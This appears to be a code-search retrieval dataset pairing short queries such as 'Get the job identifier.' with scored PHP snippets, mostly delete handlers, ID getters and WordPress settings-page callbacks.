onclick=\"deletePrompt(\\'deleteButton\\', \\'deleteOptions\\')\">Delete</a>\n </div>\n ';\n\n echo '<div id=\"deleteOptions\" style=\"display: none\"> \n <a style=\"color: #36D696;\" onclick=\"deletePrompt(\\'deleteButton\\', \\'deleteOptions\\')\">No</a> \n <a style=\"color: darkred; padding-left: 50px;\" href=\"' . esc_url(admin_url('admin.php?page=add-vehicle&deleted='.$vehicle->id )) . ' \">Yes, delete it!</a>\n </div>';\n\n\n echo '</fieldset></td></tr>';\n } else {\n //required label\n echo '<b style=\"color:darkred\">*</b> required';\n }\n\n //close table\n echo '</form></tbody></table>';\n\n\n //show post services when viewing\n if ($view >= 1) {\n //display chart for vehicle services\n //receives vehicle id as a perimeter\n self::services($vehicle->id);\n }\n\n }", "title": "" }, { "docid": "6094837735f39165001bdb6c0b03b59b", "score": "0.5093435", "text": "public function destroy($id)\n {\n\t\t\n $price = Pricing::find($id);\n $key = $price->customer_id;\n $price->delete();\n return redirect('/customer/'.$key)->with('success', 'Data kategori Berhasil Dihapus');\n }", "title": "" }, { "docid": "28ed11b245afd77f575d986d7193fd6e", "score": "0.5090566", "text": "function va_del_post() {\n\tif ( ! isset( $_GET['delete'] ) ) {\n\t\treturn;\n\t}\n\n\tglobal $pdo;\n\n\t$res = $pdo->prepare( 'DELETE FROM `posts` WHERE id = :del' );\n\t$res->bindParam( ':del', esc_html( $_GET['delete'] ) );\n\n\tif ( $res->execute() ) {\n\t\tva_add_notice( 'success', 'Пост удалён' );\n\t} else {\n\t\tva_add_notice( 'error', 'Пост не удалён' );\n\t}\n\n\tva_header( 'admin.php' );\n}", "title": "" }, { "docid": "67e8f1b1f365ca3e1e4d8b0e2712b9cd", "score": "0.50896096", "text": "function action_delete()\n\t{\n\t\tlog_debug(\"inc_products\", \"Executing action_delete()\");\n\n\t\t// start transaction\n\t\t$sql_obj = New sql_query;\n\t\t$sql_obj->trans_begin();\n\n\n\t\t// delete the product\n\t\t$sql_obj->string\t= \"DELETE FROM products WHERE id='\". $this->id .\"' LIMIT 1\";\n\t\t$sql_obj->execute();\n\n\n\t\t// delete the product taxes\n\t\t$sql_obj->string\t= \"DELETE FROM products_taxes WHERE productid='\". $this->id .\"'\";\n\t\t$sql_obj->execute();\n\n\n\t\t// delete product journal\n\t\tjournal_delete_entire(\"products\", $this->id);\n\n\n\t\t// commit\n\t\tif (error_check())\n\t\t{\n\t\t\t$sql_obj->trans_rollback();\n\n\t\t\tlog_write(\"error\". \"inc_products\". \"An error occured whilst attempting to delete the product. No changes have been made.\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sql_obj->trans_commit();\n\n\t\t\tlog_write(\"notification\", \"inc_products\", \"Product has been successfully deleted.\");\n\t\t}\n\n\t\treturn 1;\n\t}", "title": "" }, { "docid": "b9c2efd457314497d96c79aa6feefdcf", "score": "0.50862163", "text": "public function DeleteAssociatedSupplierAction()\n {\n \t//recupere l'id\n \t$pps_id = Mage::app()->getRequest()->getParam('pps_id');\n \t\n \t//supprime\n\t\tMage::getModel('Purchase/ProductSupplier') \t\n\t\t\t->load($pps_id)\n\t\t\t->delete();\n\t\t\t\n }", "title": "" }, { "docid": "f2101905fd872039219e79f839601f28", "score": "0.50859934", "text": "public function delete_template()\n\t{\t\t$kd_isi = $this->input->post('kd_isi');\n\t\t$this->M_pengalamankerja->delete_template($kd_isi);\n\t}", "title": "" }, { "docid": "0a6c74e85e1274b414e4c566ff7b2466", "score": "0.50809634", "text": "public function delete()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "0e2a8db3b6e1a4f2ca281c06f9b50771", "score": "0.50776887", "text": "public function delete() {\n \n }", "title": "" }, { "docid": "e120586d7af9e358909974a25c15bf0e", "score": "0.5077125", "text": "public function delete()\n {\n $this->is_deleted = true;\n }", "title": "" }, { "docid": "209a9cf24824776d66f54d42b089fe1d", "score": "0.5073573", "text": "function cat_delete_link() {\n\treturn discussion::encode_title(BASE . 'admin' . DS . 'category' . DS . cat_title() . DS . 'delete');\n}", "title": "" } ]
7004989db2f799d31c9f3646103fda02
Get the job identifier.
[ { "docid": "e104668ebec45c8c2cfb7d923057b85f", "score": "0.81414354", "text": "public function getJobId()\n {\n return $this->decoded['id'] ?? null;\n }", "title": "" } ]
[ { "docid": "f1a1f6ce91fc6a5c9dc642100d0352ee", "score": "0.8778058", "text": "protected function getJobId()\n {\n return $this->job->payload['id'];\n }", "title": "" }, { "docid": "cebc391797105c288fd1d4a90f85b660", "score": "0.838095", "text": "public function getJobId()\n {\n return $this->job->id;\n }", "title": "" }, { "docid": "a88dd76fe4a3bfdbc14b82589d74c921", "score": "0.833", "text": "public function getJobId(): string\n {\n return $this->submissionHeader->getJobId();\n }", "title": "" }, { "docid": "6761a7f3e917b14a00bfc25e97f4ff2e", "score": "0.8329997", "text": "public function getJobId()\n {\n return $this->rawJob->getId();\n }", "title": "" }, { "docid": "492ba0ace6189f979256944c97e2c92a", "score": "0.8312856", "text": "public function getJobid()\n {\n return $this->jobid;\n }", "title": "" }, { "docid": "dfb64285f496cc7d0a090ff473bd8292", "score": "0.82991594", "text": "public function getJobId()\n {\n return $this->job_id;\n }", "title": "" }, { "docid": "dfb64285f496cc7d0a090ff473bd8292", "score": "0.82991594", "text": "public function getJobId()\n {\n return $this->job_id;\n }", "title": "" }, { "docid": "103ad8adf6cf66ddcb06aa6e41f1c4bd", "score": "0.80642414", "text": "public function getJobId()\n\t{\n\t\treturn $this->job['MessageId'];\n\t}", "title": "" }, { "docid": "4f4fef0818ff5aba388dd97b87ce6eb1", "score": "0.80454266", "text": "public function getJobId()\n {\n return Arr::get($this->payload, 'uuid') ?: Arr::get($this->payload, $this->stompQueue::HEADERS_KEY . '.message-id') ?: Str::uuid();\n }", "title": "" }, { "docid": "399e1779990dd7e71a494548b7c3e783", "score": "0.76961577", "text": "public function getJob(): string\n {\n return $this->job;\n }", "title": "" }, { "docid": "a104c6b17ff32f1c337eecf4b2b0d94f", "score": "0.7591501", "text": "public function getJob():string\n {\n return $this->job;\n }", "title": "" }, { "docid": "266f1c0095e2afe69537e92b4626d94b", "score": "0.7590041", "text": "public function getCurrentJobId() : ?int\n {\n $rtn = $this->data['current_job_id'];\n\n return $rtn;\n }", "title": "" }, { "docid": "2e9619b3f1d70325fd51e2657f727550", "score": "0.7549546", "text": "public function getJobId();", "title": "" }, { "docid": "e7050768c41f3ce779512121f3fddba1", "score": "0.72687495", "text": "public function getJobKey(): string;", "title": "" }, { "docid": "1e9e7c361f974c27a5a642c3ff74d25c", "score": "0.7106041", "text": "public function getAsyncJobId();", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "24a11628c525caf02bc8b1f96ee53838", "score": "0.70859677", "text": "public function getJob()\n {\n return $this->job;\n }", "title": "" }, { "docid": "da1dc3ea569ba4437c96b3443b6e0835", "score": "0.70382816", "text": "public function getJobDefinitionId(): ?string;", "title": "" }, { "docid": "09c27b511926ff9743737ccc304dc7dd", "score": "0.7027804", "text": "public function getJob()\n {\n return $this->get(self::job);\n }", "title": "" }, { "docid": "76b6cf5c6637cb325c9cda61076b1f0b", "score": "0.70086515", "text": "public function getJobId(): ?string;", "title": "" }, { "docid": "1c85181ebf5c9bf62bddb0ebe099f319", "score": "0.6959813", "text": "public function getJobname()\n {\n return $this->jobname;\n }", "title": "" }, { "docid": "df2c941d605a91cd77068f4765e915d4", "score": "0.6926041", "text": "private function getJob(): string\n {\n return strtoupper(substr($this->baseItem->job, 0, 3));\n }", "title": "" }, { "docid": "18227c6f374ca4cab2f559d3f0194f1a", "score": "0.69051784", "text": "public function getJobName()\n {\n return $this->job_name;\n }", "title": "" }, { "docid": "18227c6f374ca4cab2f559d3f0194f1a", "score": "0.69051784", "text": "public function getJobName()\n {\n return $this->job_name;\n }", "title": "" }, { "docid": "18227c6f374ca4cab2f559d3f0194f1a", "score": "0.69051784", "text": "public function getJobName()\n {\n return $this->job_name;\n }", "title": "" }, { "docid": "a84a5beb04ee71574e8517745b18a44c", "score": "0.68782777", "text": "public function jobNumber()\n {\n return $this->validateAlphaNumeric($this->struct['JobNumber'], func_get_args(), 36);\n }", "title": "" }, { "docid": "f44b7f59aef08cdb65c4e6c972390082", "score": "0.68319744", "text": "public function getIdentifier()\n {\n return $this->getId();\n }", "title": "" }, { "docid": "df8a49834971eaae98e02b57f7b1595f", "score": "0.683051", "text": "public function job()\n {\n return $this->job;\n }", "title": "" }, { "docid": "9b3b4072f105ec8a2991c47bb56e04db", "score": "0.6718109", "text": "public function getIdentifier()\n {\n return $this->id;\n }", "title": "" }, { "docid": "9b3b4072f105ec8a2991c47bb56e04db", "score": "0.6718109", "text": "public function getIdentifier()\n {\n return $this->id;\n }", "title": "" }, { "docid": "5744753ccf9ca0540a1d81c994de74a6", "score": "0.66879624", "text": "public function getIdentifier(): string\n {\n return $this->getId();\n }", "title": "" }, { "docid": "4b7d93fd98489c8b85edcf0843b9b116", "score": "0.66851646", "text": "private function _thisJobKey(): ?string\n {\n\n // PHP >= 7.3 can use array_key_last\n\n if (empty($this->jobs)) {\n return NULL;\n }\n\n end($this->jobs);\n\n $key = key($this->jobs);\n\n reset($this->jobs);\n\n return $key;\n\n }", "title": "" }, { "docid": "8f7a56a81b9ef071ead4ee30af736c1a", "score": "0.6682304", "text": "public function getTaskIdentifier() {}", "title": "" }, { "docid": "9e0e1b7ded5853d006ee8f28530aa7fa", "score": "0.66431886", "text": "public function getJob()\n {\n return $this->getEntity();\n }", "title": "" }, { "docid": "1a96c61a160b8c17d24de12b16a1e6ac", "score": "0.6608738", "text": "public function getIdentifier()\n {\n return $this->getData('identifier');\n }", "title": "" }, { "docid": "c82ffe1e017aeb24f6b0680d0a1db1ed", "score": "0.6595681", "text": "public function getIdentifier() {\n return $this->getKey();\n }", "title": "" }, { "docid": "bafd13fd55a8a9a83f2286a577b6f8bb", "score": "0.6591054", "text": "public function getJob()\n {\n return Mage::getModel('mailup/job')->load($this->getJobId());\n }", "title": "" }, { "docid": "297a58d8c6c16b7e76bfe5dc15199a78", "score": "0.6584238", "text": "public function getIdentifier() {\n\t\treturn $this->identifier;\n\t}", "title": "" }, { "docid": "297a58d8c6c16b7e76bfe5dc15199a78", "score": "0.6584238", "text": "public function getIdentifier() {\n\t\treturn $this->identifier;\n\t}", "title": "" }, { "docid": "297a58d8c6c16b7e76bfe5dc15199a78", "score": "0.6584238", "text": "public function getIdentifier() {\n\t\treturn $this->identifier;\n\t}", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "8a9613bfcbfeaa0fc6d8034b68bbeff3", "score": "0.65480053", "text": "public function getIdentifier()\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "c64ce7296499c9382e6670265658089a", "score": "0.6544625", "text": "public function getIdentifier() {\n return $this->identifier;\n }", "title": "" }, { "docid": "c64ce7296499c9382e6670265658089a", "score": "0.6544625", "text": "public function getIdentifier() {\n return $this->identifier;\n }", "title": "" }, { "docid": "c64ce7296499c9382e6670265658089a", "score": "0.6544625", "text": "public function getIdentifier() {\n return $this->identifier;\n }", "title": "" }, { "docid": "c64ce7296499c9382e6670265658089a", "score": "0.6544625", "text": "public function getIdentifier() {\n return $this->identifier;\n }", "title": "" }, { "docid": "c64ce7296499c9382e6670265658089a", "score": "0.6544625", "text": "public function getIdentifier() {\n return $this->identifier;\n }", "title": "" }, { "docid": "692f11e4f279ddb4101d2d679937e101", "score": "0.65410024", "text": "public function getCurrentJob()\n {\n return $this->globalContext->getCurrent();\n }", "title": "" }, { "docid": "f0fe85b9459fc88650f112bba4599670", "score": "0.6534124", "text": "protected function getJobId(Mage_Sales_Model_Order $order)\n {\n return $order->getIncrementId();\n }", "title": "" }, { "docid": "0c7429c6521cdd4c64187f0653f6326d", "score": "0.65271974", "text": "function getJobPID($jobid) {\n // Check if job with given ID is set\n if(!isset($this->operations[$jobid])) {\n return FALSE;\n }\n \n // Get job type\n return $this->operations[$jobid]['jobpid'];\n }", "title": "" }, { "docid": "bcc579450d8aa1f999c6b48dfe8ce60a", "score": "0.6493327", "text": "public function getIdentifier()\n\t{\n\t\treturn $this->_identifier;\n\t}", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "7749c7697d79a7eca145e33affef8064", "score": "0.64860266", "text": "public function getIdentifier(): string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "de01021878dd6eb34fcdb4ee14087279", "score": "0.6480716", "text": "public function getIdentifier()\n {\n return $this->config instanceof ResourceConfig ? $this->config->getIdentifier() : 'id';\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "0e7787cc505fe81b1555aa0ff8a20d06", "score": "0.6476648", "text": "public function getIdentifier()\n {\n return $this->_identifier;\n }", "title": "" }, { "docid": "a672e44d3de816e7a6c5ca3eaa526332", "score": "0.6471455", "text": "public function getId() : string\n {\n return $this->workflow->id;\n }", "title": "" }, { "docid": "678e89617e310e8e88452a78fa6a39ef", "score": "0.63998026", "text": "public function getName()\n {\n return Arr::get(json_decode($this->job->body, true), 'job');\n }", "title": "" }, { "docid": "86d19cffe84aea5c430e0c22bf9f24e6", "score": "0.63958675", "text": "public function getIdentifier() : string\n {\n return $this->identifier;\n }", "title": "" }, { "docid": "4e0115f47d53b02fc29c142130f4d967", "score": "0.63804096", "text": "function getId() {\n\t\n\t\treturn $this->taskId;\n\t\n\t}", "title": "" }, { "docid": "7240235490d4e065d72fc74cd6364250", "score": "0.6378286", "text": "public function getIdentifier() : string\n\t{\n\t\treturn $this->identifier;\n\t}", "title": "" }, { "docid": "7240235490d4e065d72fc74cd6364250", "score": "0.6378286", "text": "public function getIdentifier() : string\n\t{\n\t\treturn $this->identifier;\n\t}", "title": "" } ]
c2d4eb4e0838d0fc7cc0697ec7e8883c
Settings Field Callback External CSS & Js
[ { "docid": "daf8b04298e679d8774f5b910401ddd3", "score": "0.0", "text": "function ed_dynam_perks_ext_css_cb($args) {\r\n\t$external_css = checked(1, get_option('ed_dynam_perks_include_plugin_css'), false); ?>\r\n\t<input type=\"checkbox\" id=\"include_ext_css\" name=\"ed_dynam_perks_include_plugin_css\" value=\"1\" <?php echo $external_css ?>/>\r\n\t<label for=\"ed_dynam_perks_include_plugin_css\"><?php echo $args[0] ?></label>\r\n<?php }", "title": "" } ]
[ { "docid": "01391e6992ddfe5a73a034096063e25f", "score": "0.66537625", "text": "function render_field_settings( $field ) {\n\t\t\t// TODO: Delete this method?\n\t\t}", "title": "" }, { "docid": "25db446df1fadbc25b3f9988bdbdb336", "score": "0.66305476", "text": "function render_field_settings( $field ) {\n\t}", "title": "" }, { "docid": "260a208c790351882d57e1408ca39055", "score": "0.65713155", "text": "function myplugin_settings_color_field_callback() {\n \t// Retrieving values from input field using get_option()\n $myplugin_color_field = get_option('myplugin_settings_color_field');\n ?>\n <input type=\"color\" name=\"myplugin_settings_color_field\" class=\"regular-text\" value=\"<?php echo isset($myplugin_color_field) ? esc_attr( $myplugin_color_field ) : ''; ?>\" />\n <?php\n }", "title": "" }, { "docid": "732515cfb561f07b324c527ee05512c9", "score": "0.6551653", "text": "function faculty_add_background_color_setting($id, $label) { \n return faculty_add_select_setting($id.'_select', $label, 'background') . '<input type=\"text\" id=\"' . $id . '_hex\" name=\"' . FACULTY_SETTINGS_FIELD . '[' . $id . ']\" size=\"8\" maxsize=\"7\" value=\"' . esc_attr( faculty_get_fresh_design_option($id) ) . '\" class=\"color-picker\" />';\n}", "title": "" }, { "docid": "ba99f60b40bcd35efd963b83489bac1f", "score": "0.65445215", "text": "public function salesforce_settings_forms() {\n\t\t$input_callback_default = array( $this, 'display_input_field' );\n\t\t$input_select_default = array( $this, 'display_select' );\n\n\t\t$all_field_callbacks = array(\n\t\t\t'text' => $input_callback_default,\n\t\t\t'select' => $input_select_default,\n\t\t);\n\n\t\t$this->fields_settings( 'settings', 'settings', $all_field_callbacks );\n\t}", "title": "" }, { "docid": "7b6e5a41666837dde00a0ac358840592", "score": "0.65259326", "text": "public function page_init() {\n register_setting(\n 'social_option_group', // Option group\n 'pp_social_icons_colors', // Option name\n array( $this, 'sanitize' ) // Sanitize\n );\n\n add_settings_section(\n 'social_option_section', // ID\n __('Color settings','wfsi'), // Title\n array( $this, 'print_section_info' ), // Callback\n 'social-icons-admin' // Page\n );\n\n add_settings_field(\n 'icons_color', // ID\n __('Icons color','wfsi'), // Title\n array( $this, 'icons_color_callback' ), // Callback\n 'social-icons-admin', // Page\n 'social_option_section' // Section\n );\n\n add_settings_field(\n 'bg_color', // ID\n __('Background color', 'wfsi'), // Title\n array( $this, 'bg_color_callback' ), // Callback\n 'social-icons-admin', // Page\n 'social_option_section' // Section\n );\n\n\n }", "title": "" }, { "docid": "ef29d68414d73c7bbf1d59d6815d2a42", "score": "0.6517229", "text": "function render_field_settings( $field ) {\n\n /*\n * acf_render_field_setting\n *\n * This function will create a setting for your field. Simply pass the $field parameter and an array of field settings.\n * The array of settings does not require a `value` or `prefix`; These settings are found from the $field array.\n *\n * More than one setting can be added by copy/paste the above code.\n * Please note that you must also have a matching $defaults value for the field name (font_size)\n */\n\n // allow_null\n acf_render_field_setting( $field, array(\n 'label' => __( 'Allow Null?', 'acf' ),\n 'instructions' => '',\n 'name' => 'allow_null',\n 'type' => 'true_false',\n 'ui' => 1,\n ));\n\n // multiple\n acf_render_field_setting( $field, array(\n 'label' => __( 'Select multiple values?', 'acf' ),\n 'instructions' => '',\n 'name' => 'multiple',\n 'type' => 'true_false',\n 'ui' => 1,\n ));\n\n // ui\n acf_render_field_setting( $field, array(\n 'label' => __('Stylised UI','acf'),\n 'instructions' => '',\n 'name' => 'ui',\n 'type' => 'true_false',\n 'ui' => 1,\n ));\n }", "title": "" }, { "docid": "422ed97dd038d8b8f32632d182982f3b", "score": "0.6479315", "text": "public function myplugin_settings_init() {\n\n // Setup settings section\n add_settings_section(\n 'myplugin_settings_section',\n '',\n '',\n 'myplugin-settings-page'\n );\n\n // Register field for organization name\n register_setting(\n 'myplugin-settings-page',\n 'myplugin_settings_organization_name_field',\n array(\n 'type' => 'string',\n 'sanitize_callback' => 'sanitize_text_field',\n 'default' => ''\n )\n );\n\n // Add field for organization name\n add_settings_field(\n 'myplugin_settings_organization_name_field',\n __( 'Organization name', 'my-plugin' ),\n array($this,'myplugin_settings_organization_name_field_callback'),\n 'myplugin-settings-page',\n 'myplugin_settings_section'\n );\n // Registe field for description\n\t register_setting(\n\t 'myplugin-settings-page',\n\t 'myplugin_settings_description_field',\n\t array(\n\t 'type' => 'string',\n\t 'sanitize_callback' => 'sanitize_textarea_field',\n\t 'default' => ''\n\t )\n\t );\n\n\t // Add field for description\n\t add_settings_field(\n\t 'myplugin_settings_description_field',\n\t __( 'Description', 'my-plugin' ),\n\t array($this,'myplugin_settings_description_field_callback'),\n\t 'myplugin-settings-page',\n\t 'myplugin_settings_section'\n\t );\n\t // Register vacancy field\n register_setting(\n 'myplugin-settings-page',\n 'myplugin_settings_vacancy_field',\n array(\n 'type' => 'int',\n 'sanitize_callback' => 'sanitize_text_field',\n 'default' => ''\n )\n );\n\n // Add vacancy fields\n add_settings_field(\n 'myplugin_settings_vacancy_field',\n __( 'Number of Vacancies', 'my-plugin' ),\n array($this,'myplugin_settings_vacancy_field_callback'),\n 'myplugin-settings-page',\n 'myplugin_settings_section'\n );\n // Register title visibility field\n register_setting(\n 'myplugin-settings-page',\n 'myplugin_settings_title_visibility_field',\n array(\n 'type' => 'string',\n 'sanitize_callback' => 'sanitize_text_field',\n 'default' => ''\n )\n );\n\n // Add title visibility fields\n add_settings_field(\n 'myplugin_settings_title_visibility_field',\n __( 'Display options', 'my-plugin' ),\n array($this,'myplugin_settings_title_visibility_field_callback'),\n 'myplugin-settings-page',\n 'myplugin_settings_section'\n );\n\t // Register email visibility field\n register_setting(\n 'myplugin-settings-page',\n 'myplugin_settings_email_visibilty_field',\n array(\n 'type' => 'string',\n 'sanitize_callback' => 'sanitize_text_field',\n 'default' => ''\n )\n );\n\n // Add email visibility fields\n add_settings_field(\n 'myplugin_settings_email_visibilty_field',\n __( 'Display options', 'my-plugin' ),\n array($this,'myplugin_settings_email_visibilty_field_callback'),\n 'myplugin-settings-page',\n 'myplugin_settings_section'\n );\n // Register expiry date field\n register_setting(\n 'myplugin-settings-page',\n 'myplugin_settings_date_field',\n array(\n 'type' => 'string',\n 'sanitize_callback' => 'sanitize_text_field',\n 'default' => ''\n )\n );\n\n // Add expiry date fields\n add_settings_field(\n 'myplugin_settings_date_field',\n __( 'Expiry date ', 'my-plugin' ),\n array($this,'myplugin_settings_date_field_callback'),\n 'myplugin-settings-page',\n 'myplugin_settings_section'\n );\n // Register color field\n register_setting(\n 'myplugin-settings-page',\n 'myplugin_settings_color_field',\n array(\n 'type' => 'string',\n 'sanitize_callback' => 'sanitize_text_field',\n 'default' => ''\n )\n );\n\n // Add color fields\n add_settings_field(\n 'myplugin_settings_color_field',\n __( 'Choose a color', 'my-plugin' ),\n array($this,'myplugin_settings_color_field_callback'),\n 'myplugin-settings-page',\n 'myplugin_settings_section'\n );\n }", "title": "" }, { "docid": "f2aaa91b001b12b531d3e52a002e48af", "score": "0.64598316", "text": "function woobf__settings_section_callback( ) {\n\n}", "title": "" }, { "docid": "a3e461d4d78a7ea42319333d369b4e5d", "score": "0.6459539", "text": "function background_color () {\n\n $options = get_option( self::PREFIX . 'settings' );\n $field_name = self::PREFIX . 'settings[bg-color]';\n $value = '';\n if ( isset($options['bg-color']) ) {\n $value = sanitize_text_field($options['bg-color']);\n }\n ?>\n <input type=\"text\" name=\"<?php echo $field_name; ?>\" class=\"bg-color-picker\" value=\"<?php echo $value; ?>\">\n <?php\n }", "title": "" }, { "docid": "32ff459e917b5bac8766ba50100abfe2", "score": "0.64383274", "text": "function NavBoxes_RenderSettings() { ?>\n <h1> NavBoxes Settings</h1>\n <?php $options = get_option('navBoxes-Settings'); ?>\n <form method=\"post\" action=\"options.php\">\n <?php\n settings_fields('navBoxes-Settings');\n do_settings_sections( 'navBoxes-Settings');\n ?>\n <table class=\"form-table\">\n <tr valign=\"top\">\n <th scope=\"row\">Title:</th>\n <td>\n <span style=\"font-size: 6pt; color: red\">Leave blank for none</span>\n <input type=\"text\" name=\"navBoxes-Settings[title]\" value=\"<?php echo $options['title']; ?>\"/>\n </td>\n </tr>\n <tr valign=\"top\">\n <th scope=\"row\">Title Background Color:</th>\n <td>\n <span style=\"font-size: 6pt; color: red\">Enter HEX web color including #</span>\n <input type=\"text\" name=\"navBoxes-Settings[titleBgColor]\" value=\"<?php echo $options['titleBgColor']; ?>\"/>\n </td>\n </tr>\n </table>\n <?php submit_button(); ?>\n </form>\n <?php\n}", "title": "" }, { "docid": "d533e1d75d0d8b7d9e38ea8cf2e4decd", "score": "0.6416024", "text": "public function admin_init()\n {\n \t// register your plugin's settings\n \tregister_setting('WP_Geeks_Referrals-group', 'setting_a');\n\n \t// add your settings section\n \tadd_settings_section(\n \t 'WP_Geeks_Referrals-section', \n \t '4Geeks Referrals Settings', \n \t array(&$this, 'settings_section_WP_Plugin_Template'), \n \t 'WP_Geeks_Referrals'\n \t);\n \t\n \t// add your setting's fields\n add_settings_field(\n 'WP_Geeks_Referrals-setting_a', \n 'Referrals detination email', \n array(&$this, 'settings_field_input_text'), \n 'WP_Geeks_Referrals', \n 'WP_Geeks_Referrals-section',\n array(\n 'field' => 'setting_a'\n )\n );\n\n add_action( \n 'admin_enqueue_scripts', \n array(&$this, 'load_custom_wp_admin_style') \n );\n\n }", "title": "" }, { "docid": "43a23781c993b37b6580ddb43eba796c", "score": "0.6395753", "text": "function web_gp_register_settings()\n{\n\t//option_group, 